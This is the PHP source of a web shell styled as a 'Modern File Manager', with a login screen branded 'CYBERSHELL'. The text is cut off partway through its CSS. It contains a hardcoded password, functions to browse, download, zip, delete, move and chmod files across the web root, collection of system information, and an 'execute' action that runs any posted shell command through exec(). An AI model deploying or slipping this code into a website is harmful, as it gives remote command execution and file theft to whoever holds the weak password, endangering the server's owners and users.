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<?php
// File Manager with Modern Interface
// Compatible with PHP 5.6.40
error_reporting(E_ALL);
ini_set('display_errors', '1');

// Password
$password = 'changeme';

// Start session
@session_start();

// Function to download folder as ZIP
function downloadFolderAsZip($folder_path, $folder_name = null) {
    if (!is_dir($folder_path)) {
        return false;
    }
    
    $folder_name = $folder_name ?: basename($folder_path);
    $zip_filename = $folder_name . '_' . date('Y-m-d_H-i-s') . '.zip';
    $zip_path = sys_get_temp_dir() . '/' . $zip_filename;
    
    // Clean any output buffers
    while (ob_get_level()) {
        ob_end_clean();
    }
    
    // Try ZipArchive first
    if (class_exists('ZipArchive')) {
        $zip = new ZipArchive();
        if ($zip->open($zip_path, ZipArchive::CREATE) === TRUE) {
            try {
                $iterator = new RecursiveIteratorIterator(
                    new RecursiveDirectoryIterator($folder_path, RecursiveDirectoryIterator::SKIP_DOTS),
                    RecursiveIteratorIterator::SELF_FIRST
                );
                
                foreach ($iterator as $file) {
                    $file_path = $file->getRealPath();
                    if ($file_path === false) continue;
                    
                    $relative_path = substr($file_path, strlen($folder_path) + 1);
                    
                    if ($file->isDir()) {
                        $zip->addEmptyDir($relative_path);
                    } else {
                        if (is_readable($file_path)) {
                            $zip->addFile($file_path, $relative_path);
                        }
                    }
                }
                
                $zip->close();
                
                if (file_exists($zip_path)) {
                    // Set headers for download
                    header('Content-Type: application/zip');
                    header('Content-Disposition: attachment; filename="' . $zip_filename . '"');
                    header('Content-Length: ' . filesize($zip_path));
                    header('Cache-Control: no-cache, must-revalidate');
                    header('Pragma: no-cache');
                    header('Expires: 0');
                    
                    // Output file and clean up
                    readfile($zip_path);
                    unlink($zip_path);
                    return true;
                }
            } catch (Exception $e) {
                if (file_exists($zip_path)) {
                    unlink($zip_path);
                }
                return false;
            }
        }
    }
    
    // Fallback to system commands if ZipArchive is not available
    if (createZipWithSystem($folder_path, $zip_path)) {
        if (file_exists($zip_path)) {
            // Set headers for download
            header('Content-Type: application/zip');
            header('Content-Disposition: attachment; filename="' . $zip_filename . '"');
            header('Content-Length: ' . filesize($zip_path));
            header('Cache-Control: no-cache, must-revalidate');
            header('Pragma: no-cache');
            header('Expires: 0');
            
            // Output file and clean up
            readfile($zip_path);
            unlink($zip_path);
            return true;
        }
    }
    
    return false;
}

// Function to get folder size recursively
function getFolderSize($folder_path) {
    $size = 0;
    $iterator = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($folder_path, RecursiveDirectoryIterator::SKIP_DOTS),
        RecursiveIteratorIterator::SELF_FIRST
    );
    
    foreach ($iterator as $file) {
        if ($file->isFile()) {
            $size += $file->getSize();
        }
    }
    
    return $size;
}

// Function to format file size
function formatFileSize($bytes) {
    if ($bytes >= 1073741824) {
        return number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        return number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        return number_format($bytes / 1024, 2) . ' KB';
    } else {
        return $bytes . ' bytes';
    }
}

// Function to check if folder is too large for ZIP
function isFolderTooLarge($folder_path, $max_size = 500 * 1024 * 1024) { // 500MB limit
    $size = getFolderSize($folder_path);
    return $size > $max_size;
}

// Alternative function to create ZIP without ZipArchive (using system commands)
function createZipWithSystem($folder_path, $zip_path) {
    if (function_exists('exec')) {
        $folder_path = escapeshellarg($folder_path);
        $zip_path = escapeshellarg($zip_path);
        
        // Try zip command
        $command = "zip -r $zip_path $folder_path";
        exec($command, $output, $return_var);
        
        if ($return_var === 0 && file_exists($zip_path)) {
            return true;
        }
        
        // Try tar command as fallback
        $command = "tar -czf $zip_path -C " . dirname($folder_path) . " " . basename($folder_path);
        exec($command, $output, $return_var);
        
        if ($return_var === 0 && file_exists($zip_path)) {
            return true;
        }
    }
    
    return false;
}

// Function to check system requirements
function checkSystemRequirements() {
    $requirements = array();
    
    // Check ZipArchive
    $requirements['ziparchive'] = class_exists('ZipArchive');
    
    // Check exec function
    $requirements['exec'] = function_exists('exec');
    
    // Check if zip command is available
    $requirements['zip_command'] = false;
    if (function_exists('exec')) {
        exec('which zip', $output, $return_var);
        $requirements['zip_command'] = ($return_var === 0);
    }
    
    // Check if tar command is available
    $requirements['tar_command'] = false;
    if (function_exists('exec')) {
        exec('which tar', $output, $return_var);
        $requirements['tar_command'] = ($return_var === 0);
    }
    
    // Check temp directory writable
    $requirements['temp_writable'] = is_writable(sys_get_temp_dir());
    
    return $requirements;
}

// Function to get current directory path
function getCurrentPath() {
    if (isset($_GET['path'])) {
        $path = $_GET['path'];
        // Security: prevent directory traversal
        if (strpos($path, '..') !== false) {
            return __DIR__;
        }
        
        // Start from document root or a safe base directory
        $base_dir = dirname(__DIR__); // Go up one level from current directory
        $full_path = $base_dir . '/' . ltrim($path, '/');
        
        // Ensure the path is within allowed boundaries
        if (is_dir($full_path) && strpos(realpath($full_path), realpath($base_dir)) === 0) {
            return $full_path;
        }
    }
    return __DIR__;
}

// Function to get breadcrumb navigation
function getBreadcrumb($current_path) {
    $base_dir = dirname(__DIR__);
    $relative_path = str_replace($base_dir, '', $current_path);
    $path_parts = array_filter(explode('/', $relative_path));
    
    $breadcrumb = array();
    $current_url = '';
    
    // Add home link
    $breadcrumb[] = '<a href="?path=" class="breadcrumb-item">🏠 Home</a>';
    
    foreach ($path_parts as $part) {
        $current_url .= '/' . $part;
        $breadcrumb[] = '<a href="?path=' . urlencode($current_url) . '" class="breadcrumb-item">' . htmlspecialchars($part) . '</a>';
    }
    
    return implode(' / ', $breadcrumb);
}

// Function to get parent directory
function getParentDirectory($current_path) {
    $parent = dirname($current_path);
    $base_dir = dirname(__DIR__);
    
    if (strpos(realpath($parent), realpath($base_dir)) === 0) {
        $relative_parent = str_replace($base_dir, '', $parent);
        return '?path=' . urlencode($relative_parent);
    }
    
    return '?path=';
}

// Function to get common directories
function getCommonDirectories() {
    $dirs = array();
    $base_dir = dirname(__DIR__);
    $doc_root = $_SERVER['DOCUMENT_ROOT'];
    
    // Common web directories
    $common_dirs = array('public_html', 'www', 'html', 'htdocs', 'web', 'site');
    
    foreach ($common_dirs as $dir) {
        $paths = array(
            $base_dir . '/' . $dir,
            $doc_root . '/' . $dir,
            dirname($doc_root) . '/' . $dir,
            dirname(dirname($doc_root)) . '/' . $dir
        );
        
        foreach ($paths as $path) {
            if (is_dir($path)) {
                $dirs[$dir] = $path;
                break;
            }
        }
    }
    
    return $dirs;
}

// Function to debug path information
function debugPathInfo($folder_name = null) {
    $info = array();
    $info['current_dir'] = getCurrentPath();
    $info['base_dir'] = dirname(__DIR__);
    $info['document_root'] = $_SERVER['DOCUMENT_ROOT'];
    $info['script_dir'] = __DIR__;
    $info['common_dirs'] = getCommonDirectories();
    
    if ($folder_name) {
        $info['searching_for'] = $folder_name;
        $info['possible_paths'] = array();
        
        // Add possible paths
        $info['possible_paths'][] = $info['current_dir'] . '/' . $folder_name;
        $info['possible_paths'][] = $info['base_dir'] . '/' . $folder_name;
        $info['possible_paths'][] = $info['document_root'] . '/' . $folder_name;
        $info['possible_paths'][] = dirname($info['document_root']) . '/' . $folder_name;
        $info['possible_paths'][] = dirname(dirname($info['document_root'])) . '/' . $folder_name;
    }
    
    return $info;
}

// Function to create directory
function createDirectory($path) {
    if (!is_dir($path)) {
        return @mkdir($path, 0755, true);
    }
    return true;
}

// Function to delete file or directory
function deleteFileOrDirectory($path) {
    if (is_file($path)) {
        return @unlink($path);
    } elseif (is_dir($path)) {
        $iterator = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
            RecursiveIteratorIterator::CHILD_FIRST
        );
        
        foreach ($iterator as $file) {
            if ($file->isDir()) {
                @rmdir($file->getRealPath());
            } else {
                @unlink($file->getRealPath());
            }
        }
        
        return @rmdir($path);
    }
    return false;
}

// Function to copy file or directory
function copyFileOrDirectory($source, $destination) {
    if (is_file($source)) {
        return @copy($source, $destination);
    } elseif (is_dir($source)) {
        if (!is_dir($destination)) {
            @mkdir($destination, 0755, true);
        }
        
        $iterator = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($source, RecursiveDirectoryIterator::SKIP_DOTS),
            RecursiveIteratorIterator::SELF_FIRST
        );
        
        foreach ($iterator as $file) {
            $target = $destination . '/' . $file->getBasename();
            
            if ($file->isDir()) {
                @mkdir($target, 0755, true);
            } else {
                @copy($file->getRealPath(), $target);
            }
        }
        
        return true;
    }
    return false;
}

// Function to move file or directory
function moveFileOrDirectory($source, $destination) {
    if (@rename($source, $destination)) {
        return true;
    }
    
    // Fallback: copy then delete
    if (copyFileOrDirectory($source, $destination)) {
        return deleteFileOrDirectory($source);
    }
    
    return false;
}

// Function to get file permissions as string
function getPermissionString($path) {
    $perms = @fileperms($path);
    if ($perms === false) return '????';
    
    $perms = substr(sprintf('%o', $perms), -4);
    return $perms;
}

// Function to change file permissions
function changePermissions($path, $permissions) {
    return @chmod($path, octdec($permissions));
}

// Function to get file owner and group
function getFileOwner($path) {
    $uid = @fileowner($path);
    $gid = @filegroup($path);
    
    $owner = function_exists('posix_getpwuid') ? posix_getpwuid($uid)['name'] : $uid;
    $group = function_exists('posix_getgrgid') ? posix_getgrgid($gid)['name'] : $gid;
    
    return array('owner' => $owner, 'group' => $group);
}

// Function to execute shell commands
function executeCommand($command) {
    if (!function_exists('exec')) {
        return array('success' => false, 'output' => 'exec function not available');
    }
    
    $output = array();
    $return_var = 0;
    
    @exec($command . ' 2>&1', $output, $return_var);
    
    return array(
        'success' => ($return_var === 0),
        'output' => implode("\n", $output),
        'return_code' => $return_var
    );
}

// Function to get system information
function getSystemInfo() {
    $info = array();
    
    // PHP Info
    $info['php_version'] = PHP_VERSION;
    $info['php_os'] = PHP_OS;
    $info['server_software'] = $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown';
    
    // System Info
    if (function_exists('exec')) {
        $info['hostname'] = trim(shell_exec('hostname'));
        $info['kernel'] = trim(shell_exec('uname -r'));
        $info['uptime'] = trim(shell_exec('uptime'));
        
        // Disk usage
        $df = shell_exec('df -h /');
        $info['disk_usage'] = $df;
        
        // Memory info
        $free = shell_exec('free -h');
        $info['memory_info'] = $free;
    }
    
    return $info;
}

// Handle logout
if (isset($_GET['logout'])) {
    @session_destroy();
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

// Handle login
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) {
    if ($_POST['password'] === $password) {
        $_SESSION['logged_in'] = true;
        header('Location: ' . $_SERVER['PHP_SELF']);
        exit;
    }
}

// Handle file download (must be before any HTML output)
if (isset($_GET['download']) && isset($_SESSION['logged_in'])) {
    $current_dir = getCurrentPath();
    $file = $_GET['download'];
    
    // Security check - prevent directory traversal
    if (strpos($file, '..') !== false || strpos($file, '/') !== false) {
        die('Invalid file path!');
    }
    
    // Try multiple possible paths for the file
    $possible_paths = array();
    
    // 1. Try current directory
    $possible_paths[] = $current_dir . '/' . $file;
    
    // 2. Try base directory (one level up)
    $base_dir = dirname(__DIR__);
    $possible_paths[] = $base_dir . '/' . $file;
    
    // 3. Try document root
    $doc_root = $_SERVER['DOCUMENT_ROOT'];
    $possible_paths[] = $doc_root . '/' . $file;
    
    $file_path = null;
    foreach ($possible_paths as $path) {
        if (@file_exists($path) && @is_file($path) && @is_readable($path)) {
            $file_path = $path;
            break;
        }
    }
    
    if ($file_path) {
        // Clean any output buffers
        while (ob_get_level()) {
            ob_end_clean();
        }
        
        // Get file info
        $file_size = @filesize($file_path);
        $file_name = basename($file);
        
        // Set headers for download
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . $file_name . '"');
        header('Content-Length: ' . $file_size);
        header('Cache-Control: no-cache, must-revalidate');
        header('Pragma: no-cache');
        header('Expires: 0');
        
        // Output file
        @readfile($file_path);
        exit;
    } else {
        $error_msg = "File '$file' not found!\n\n";
        $error_msg .= "Searched in:\n";
        foreach ($possible_paths as $path) {
            $error_msg .= "- " . $path . " (" . (file_exists($path) ? "EXISTS" : "NOT FOUND") . ")\n";
        }
        $error_msg .= "\nTry using the path navigator to browse to the correct directory first.";
        die($error_msg);
    }
}

// Handle folder download (must be before any HTML output)
if (isset($_GET['download_folder']) && isset($_SESSION['logged_in'])) {
    $current_dir = getCurrentPath();
    $folder = $_GET['download_folder'];
    
    // Security check - prevent directory traversal
    if (strpos($folder, '..') !== false || strpos($folder, '/') !== false) {
        die('Invalid folder path!');
    }
    
    // Try multiple possible paths for the folder
    $possible_paths = array();
    
    // 1. Try current directory
    $possible_paths[] = $current_dir . '/' . $folder;
    
    // 2. Try base directory (one level up)
    $base_dir = dirname(__DIR__);
    $possible_paths[] = $base_dir . '/' . $folder;
    
    // 3. Try document root
    $doc_root = $_SERVER['DOCUMENT_ROOT'];
    $possible_paths[] = $doc_root . '/' . $folder;
    
    // 4. Try absolute path if it's a common directory
    if ($folder === 'public_html' || $folder === 'www' || $folder === 'html') {
        $possible_paths[] = dirname($doc_root) . '/' . $folder;
        $possible_paths[] = dirname(dirname($doc_root)) . '/' . $folder;
    }
    
    $folder_path = null;
    foreach ($possible_paths as $path) {
        if (@is_dir($path)) {
            $folder_path = $path;
            break;
        }
    }
    
    if ($folder_path && @is_dir($folder_path)) {
        // Check if folder is too large
        if (isFolderTooLarge($folder_path)) {
            die('Folder is too large to download! Maximum size is 500MB.');
        } else {
            if (downloadFolderAsZip($folder_path, $folder)) {
                exit; // Download completed
            } else {
                $error_msg = "Failed to create ZIP archive!\n\n";
                $error_msg .= "Possible solutions:\n";
                $error_msg .= "1. Install php-zip extension: sudo apt-get install php-zip\n";
                $error_msg .= "2. Install zip command: sudo apt-get install zip\n";
                $error_msg .= "3. Check folder permissions\n";
                $error_msg .= "4. Ensure sufficient disk space\n";
                $error_msg .= "5. Check temp directory permissions\n\n";
                $error_msg .= "Click the debug button (🐛) for detailed information.";
                die($error_msg);
            }
        }
    } else {
        $error_msg = "Folder '$folder' not found!\n\n";
        $error_msg .= "Searched in:\n";
        foreach ($possible_paths as $path) {
            $error_msg .= "- " . $path . " (" . (is_dir($path) ? "EXISTS" : "NOT FOUND") . ")\n";
        }
        $error_msg .= "\nTry using the path navigator to browse to the correct directory first.";
        die($error_msg);
    }
}

// Handle file operations (must be before any HTML output)
if (isset($_POST['action']) && isset($_SESSION['logged_in'])) {
    $current_dir = getCurrentPath();
    $action = $_POST['action'];
    
    switch ($action) {
        case 'create_dir':
            if (isset($_POST['dir_name'])) {
                $dir_name = trim($_POST['dir_name']);
                if (!empty($dir_name) && strpos($dir_name, '..') === false) {
                    $new_dir = $current_dir . '/' . $dir_name;
                    if (createDirectory($new_dir)) {
                        header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&msg=dir_created');
                    } else {
                        header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&error=dir_create_failed');
                    }
                } else {
                    header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&error=invalid_dir_name');
                }
                exit;
            }
            break;
            
        case 'delete':
            if (isset($_POST['item'])) {
                $item = $_POST['item'];
                if (strpos($item, '..') === false) {
                    $item_path = $current_dir . '/' . $item;
                    if (deleteFileOrDirectory($item_path)) {
                        header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&msg=item_deleted');
                    } else {
                        header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&error=delete_failed');
                    }
                } else {
                    header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&error=invalid_path');
                }
                exit;
            }
            break;
            
        case 'copy':
            if (isset($_POST['source']) && isset($_POST['destination'])) {
                $source = $_POST['source'];
                $destination = $_POST['destination'];
                
                if (strpos($source, '..') === false && strpos($destination, '..') === false) {
                    $source_path = $current_dir . '/' . $source;
                    $dest_path = $current_dir . '/' . $destination;
                    
                    if (copyFileOrDirectory($source_path, $dest_path)) {
                        header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&msg=item_copied');
                    } else {
                        header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&error=copy_failed');
                    }
                } else {
                    header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&error=invalid_path');
                }
                exit;
            }
            break;
            
        case 'move':
            if (isset($_POST['source']) && isset($_POST['destination'])) {
                $source = $_POST['source'];
                $destination = $_POST['destination'];
                
                if (strpos($source, '..') === false && strpos($destination, '..') === false) {
                    $source_path = $current_dir . '/' . $source;
                    $dest_path = $current_dir . '/' . $destination;
                    
                    if (moveFileOrDirectory($source_path, $dest_path)) {
                        header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&msg=item_moved');
                    } else {
                        header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&error=move_failed');
                    }
                } else {
                    header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&error=invalid_path');
                }
                exit;
            }
            break;
            
        case 'chmod':
            if (isset($_POST['item']) && isset($_POST['permissions'])) {
                $item = $_POST['item'];
                $permissions = $_POST['permissions'];
                
                if (strpos($item, '..') === false && preg_match('/^[0-7]{3,4}$/', $permissions)) {
                    $item_path = $current_dir . '/' . $item;
                    if (changePermissions($item_path, $permissions)) {
                        header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&msg=permissions_changed');
                    } else {
                        header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&error=chmod_failed');
                    }
                } else {
                    header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&error=invalid_permissions');
                }
                exit;
            }
            break;
            
        case 'execute':
            if (isset($_POST['command'])) {
                $command = $_POST['command'];
                $result = executeCommand($command);
                $_SESSION['command_result'] = $result;
                header('Location: ' . $_SERVER['PHP_SELF'] . '?path=' . urlencode($_GET['path'] ?? '') . '&show_result=1');
                exit;
            }
            break;
    }
}

// Check if logged in
if (!isset($_SESSION['logged_in'])) {
    ?>
    <!DOCTYPE html>
    <html>
    <head>
        <title>File Manager Login</title>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css" rel="stylesheet">
        <style>
            * { margin: 0; padding: 0; box-sizing: border-box; }
            body { 
                font-family: 'Courier New', monospace; 
                background: #0a0a0a;
                color: #00ff00;
                line-height: 1.6;
            }
            .header {
                background: #000;
                border-bottom: 2px solid #00ff00;
                padding: 15px 20px;
                box-shadow: 0 2px 10px rgba(0,255,0,0.1);
            }
            .header-content {
                display: flex;
                justify-content: space-between;
                align-items: center;
                max-width: 1200px;
                margin: 0 auto;
            }
            .header h1 {
                font-size: 20px;
                font-weight: bold;
                text-transform: uppercase;
                letter-spacing: 2px;
            }
            .header h1 i {
                margin-right: 10px;
                color: #00ff00;
            }
            .logout-btn {
                background: #000;
                color: #00ff00;
                padding: 8px 15px;
                border: 1px solid #00ff00;
                border-radius: 3px;
                cursor: pointer;
                text-decoration: none;
                transition: all 0.3s ease;
                font-size: 12px;
                text-transform: uppercase;
            }
            .logout-btn:hover {
                background: #00ff00;
                color: #000;
            }
            .container {
                max-width: 1200px;
                margin: 20px auto;
                padding: 0 20px;
            }
            .card {
                background: #000;
                border: 1px solid #00ff00;
                border-radius: 5px;
                padding: 20px;
                margin-bottom: 20px;
                box-shadow: 0 0 10px rgba(0,255,0,0.1);
            }
            .card h3 {
                color: #00ff00;
                border-bottom: 1px solid #00ff00;
                padding-bottom: 10px;
                margin-bottom: 15px;
                font-size: 16px;
                text-transform: uppercase;
            }
            .file-grid {
                display: block;
                margin-top: 20px;
            }
            .file-item {
                background: #000;
                border: 1px solid #333;
                border-radius: 3px;
                padding: 12px;
                margin-bottom: 8px;
                transition: all 0.3s ease;
                display: flex;
                align-items: center;
                justify-content: space-between;
            }
            .file-item:hover {
                border-color: #00ff00;
                background: #0a0a0a;
                box-shadow: 0 0 5px rgba(0,255,0,0.3);
            }
            .file-info-left {
                display: flex;
                align-items: center;
                flex: 1;
            }
            .file-icon {
                font-size: 16px;
                margin-right: 15px;
                width: 30px;
                text-align: center;
            }
            .file-icon.folder { color: #ffff00; }
            .file-icon.file { color: #00ffff; }
            .file-details {
                flex: 1;
            }
            .file-name {
                font-weight: bold;
                margin-bottom: 3px;
                word-break: break-all;
                font-size: 14px;
                color: #fff;
            }
            .file-info {
                font-size: 11px;
                color: #888;
                display: flex;
                gap: 15px;
                flex-wrap: wrap;
            }
            .file-info span {
                display: flex;
                align-items: center;
                gap: 3px;
                background: #111;
                padding: 2px 6px;
                border-radius: 3px;
                font-size: 10px;
                border: 1px solid #333;
            }
            .file-info span i {
                font-size: 9px;
            }
            .file-actions {
                display: flex;
                gap: 5px;
                flex-shrink: 0;
            }
            .btn {
                padding: 6px 10px;
                border: 1px solid #00ff00;
                border-radius: 3px;
                cursor: pointer;
                font-size: 11px;
                text-decoration: none;
                transition: all 0.3s ease;
                display: flex;
                align-items: center;
                gap: 3px;
                background: #000;
                color: #00ff00;
                text-transform: uppercase;
            }
            .btn-primary { border-color: #00ff00; color: #00ff00; }
            .btn-success { border-color: #00ff00; color: #00ff00; }
            .btn-danger { border-color: #ff0000; color: #ff0000; }
            .btn:hover { 
                background: #00ff00; 
                color: #000;
                transform: translateY(-1px);
            }
            .file-header {
                background: #000;
                padding: 12px 15px;
                border-radius: 3px 3px 0 0;
                border: 1px solid #00ff00;
                border-bottom: none;
                font-weight: bold;
                color: #00ff00;
                display: flex;
                align-items: center;
                justify-content: space-between;
                text-transform: uppercase;
                font-size: 14px;
            }
            .file-header .header-left {
                display: flex;
                align-items: center;
                gap: 10px;
            }
            .file-header .header-right {
                font-size: 11px;
                color: #888;
                background: #111;
                padding: 3px 8px;
                border-radius: 3px;
                border: 1px solid #333;
            }
            .upload-section {
                background: #111;
                border: 2px dashed #00ff00;
                border-radius: 5px;
                padding: 20px;
                text-align: center;
                margin-bottom: 20px;
            }
            .upload-section:hover {
                background: #0a0a0a;
                border-color: #ffff00;
            }
            .upload-input {
                display: none;
            }
            .upload-label {
                cursor: pointer;
                padding: 10px 20px;
                background: #000;
                color: #00ff00;
                border: 1px solid #00ff00;
                border-radius: 3px;
                display: inline-block;
                transition: all 0.3s ease;
                text-transform: uppercase;
                font-size: 12px;
            }
            .upload-label:hover {
                background: #00ff00;
                color: #000;
            }
            .message {
                padding: 10px;
                border-radius: 3px;
                margin-bottom: 15px;
                border: 1px solid;
            }
            .message.success { 
                background: #000; 
                color: #00ff00; 
                border-color: #00ff00; 
            }
            .message.error { 
                background: #000; 
                color: #ff0000; 
                border-color: #ff0000; 
            }
            .login-container {
                background: #000;
                border: 2px solid #00ff00;
                padding: 40px;
                border-radius: 5px;
                box-shadow: 0 0 20px rgba(0,255,0,0.3);
                width: 100%;
                max-width: 400px;
            }
            .login-header {
                text-align: center;
                margin-bottom: 30px;
            }
            .login-header i {
                font-size: 48px;
                color: #00ff00;
                margin-bottom: 15px;
            }
            .login-header h1 {
                color: #00ff00;
                font-size: 24px;
                font-weight: bold;
                text-transform: uppercase;
                letter-spacing: 2px;
            }
            .form-group {
                margin-bottom: 20px;
            }
            .form-group label {
                display: block;
                margin-bottom: 8px;
                color: #00ff00;
                font-weight: bold;
                text-transform: uppercase;
            }
            .form-group input {
                width: 100%;
                padding: 12px 15px;
                border: 1px solid #00ff00;
                border-radius: 3px;
                font-size: 16px;
                background: #000;
                color: #00ff00;
                font-family: 'Courier New', monospace;
            }
            .form-group input:focus {
                outline: none;
                border-color: #ffff00;
                box-shadow: 0 0 5px rgba(255,255,0,0.3);
            }
            .login-btn {
                width: 100%;
                padding: 12px;
                background: #000;
                color: #00ff00;
                border: 2px solid #00ff00;
                border-radius: 3px;
                font-size: 16px;
                font-weight: bold;
                cursor: pointer;
                transition: all 0.3s ease;
                text-transform: uppercase;
                font-family: 'Courier New', monospace;
            }
            .login-btn:hover {
                background: #00ff00;
                color: #000;
                transform: translateY(-2px);
            }
            .terminal-output {
                background: #000;
                border: 1px solid #00ff00;
                padding: 15px;
                border-radius: 3px;
                font-family: 'Courier New', monospace;
                font-size: 12px;
                color: #00ff00;
                max-height: 300px;
                overflow-y: auto;
            }
        </style>
    </head>
    <body>
        <div class="login-container">
            <div class="login-header">
                <i class="fas fa-terminal"></i>
                <h1>CYBERSHELL</h1>
            </div>
            <form method="post">
                <div class="form-group">
                    <label for="password">ACCESS CODE</label>
                    <input type="password" id="password" name="password" placeholder="Enter access code" required>
                </div>
                <button type="submit" class="login-btn">
                    <i class="fas fa-sign-in-alt"></i> INITIALIZE
                </button>
            </form>
        </div>
    </body>
    </html>
    <?php
    exit;
}

// Main file manager interface
?>
<!DOCTYPE html>
<html>
<head>
    <title>Modern File Manager</title>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css" rel="stylesheet">
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body { 
            font-family: 'Courier New', monospace; 
            background: #0a0a0a;
            color: #00ff00;
            line-height: 1.6;
        }
        .header {
            background: #000;
            border-bottom: 2px solid #00ff00;
            padding: 15px 20px;
            box-shadow: 0 2px 10px rgba(0,255,0,0.1);
        }
        .header-content {
            display: flex;
            justify-content: space-between;
            align-items: center;
            max-width: 1200px;
            margin: 0 auto;
        }
        .header h1 {
            font-size: 20px;
            font-weight: bold;
            text-transform: uppercase;
            letter-spacing: 2px;
        }
        .header h1 i {
            margin-right: 10px;
            color: #00ff00;
        }
        .logout-btn {
            background: #000;
            color: #00ff00;
            padding: 8px 15px;
            border: 1px solid #00ff00;
            border-radius: 3px;
            cursor: pointer;
            text-decoration: none;
            transition: all 0.3s ease;
            font-size: 12px;
            text-transform: uppercase;
        }
        .logout-btn:hover {
            background: #00ff00;
            color: #000;
        }
        .container {
            max-width: 1200px;
            margin: 20px auto;
            padding: 0 20px;
        }
        .card {
            background: #000;
            border: 1px solid #00ff00;
            border-radius: 5px;
            padding: 20px;
            margin-bottom: 20px;
            box-shadow: 0 0 10px rgba(0,255,0,0.1);
        }
        .card h3 {
            color: #00ff00;
            border-bottom: 1px solid #00ff00;
            padding-bottom: 10px;
            margin-bottom: 15px;
            font-size: 16px;
            text-transform: uppercase;
        }
        .file-grid {
            display: block;
            margin-top: 20px;
        }
        .file-item {
            background: #000;
            border: 1px solid #333;
            border-radius: 3px;
            padding: 12px;
            margin-bottom: 8px;
            transition: all 0.3s ease;
            display: flex;
            align-items: center;
            justify-content: space-between;
        }
        .file-item:hover {
            border-color: #00ff00;
            background: #0a0a0a;
            box-shadow: 0 0 5px rgba(0,255,0,0.3);
        }
        .file-info-left {
            display: flex;
            align-items: center;
            flex: 1;
        }
        .file-icon {
            font-size: 16px;
            margin-right: 15px;
            width: 30px;
            text-align: center;
        }
        .file-icon.folder { color: #ffff00; }
        .file-icon.file { color: #00ffff; }
        .file-details {
            flex: 1;
        }
        .file-name {
            font-weight: bold;
            margin-bottom: 3px;
            word-break: break-all;
            font-size: 14px;
            color: #fff;
        }
        .file-info {
            font-size: 11px;
            color: #888;
            display: flex;
            gap: 15px;
            flex-wrap: wrap;
        }
        .file-info span {
            display: flex;
            align-items: center;
            gap: 3px;
            background: #111;
            padding: 2px 6px;
            border-radius: 3px;
            font-size: 10px;
            border: 1px solid #333;
        }
        .file-info span i {
            font-size: 9px;
        }
        .file-actions {
            display: flex;
            gap: 5px;
            flex-shrink: 0;
        }
        .btn {
            padding: 6px 10px;
            border: 1px solid #00ff00;
            border-radius: 3px;
            cursor: pointer;
            font-size: 11px;
            text-decoration: none;
            transition: all 0.3s ease;
            display: flex;
            align-items: center;
            gap: 3px;
            background: #000;
            color: #00ff00;
            text-transform: uppercase;
        }
        .btn-primary { border-color: #00ff00; color: #00ff00; }
        .btn-success { border-color: #00ff00; color: #00ff00; }
        .btn-danger { border-color: #ff0000; color: #ff0000; }
        .btn-folder { border-color: #ffff00; color: #ffff00; }
        .btn:hover { 
            background: #00ff00; 
            color: #000;
            transform: translateY(-1px);
        }
        .btn-folder:hover {
            background: #ffff00;
            color: #000;
        }
        .btn-danger:hover {
            background: #ff0000;
            color: #fff;
        }
        .breadcrumb {
            background: #111;
            padding: 10px 15px;
            border-radius: 3px;
            margin-bottom: 15px;
            border: 1px solid #333;
            font-size: 12px;
        }
        .breadcrumb-item {
            color: #00ff00;
            text-decoration: none;
            transition: all 0.3s ease;
        }
        .breadcrumb-item:hover {
            color: #ffff00;
            text-decoration: underline;
        }
        .path-navigator {
            background: #111;
            padding: 15px;
            border-radius: 3px;
            margin-bottom: 20px;
            border: 1px solid #333;
        }
        .path-input {
            background: #000;
            border: 1px solid #00ff00;
            color: #00ff00;
            padding: 8px 12px;
            border-radius: 3px;
            font-family: 'Courier New', monospace;
            font-size: 12px;
            width: 100%;
            margin-bottom: 10px;
        }
        .path-input:focus {
            outline: none;
            border-color: #ffff00;
            box-shadow: 0 0 5px rgba(255,255,0,0.3);
        }
        .path-actions {
            display: flex;
            gap: 10px;
            flex-wrap: wrap;
        }
        .path-btn {
            background: #000;
            color: #00ff00;
            border: 1px solid #00ff00;
            padding: 6px 12px;
            border-radius: 3px;
            cursor: pointer;
            font-size: 11px;
            text-decoration: none;
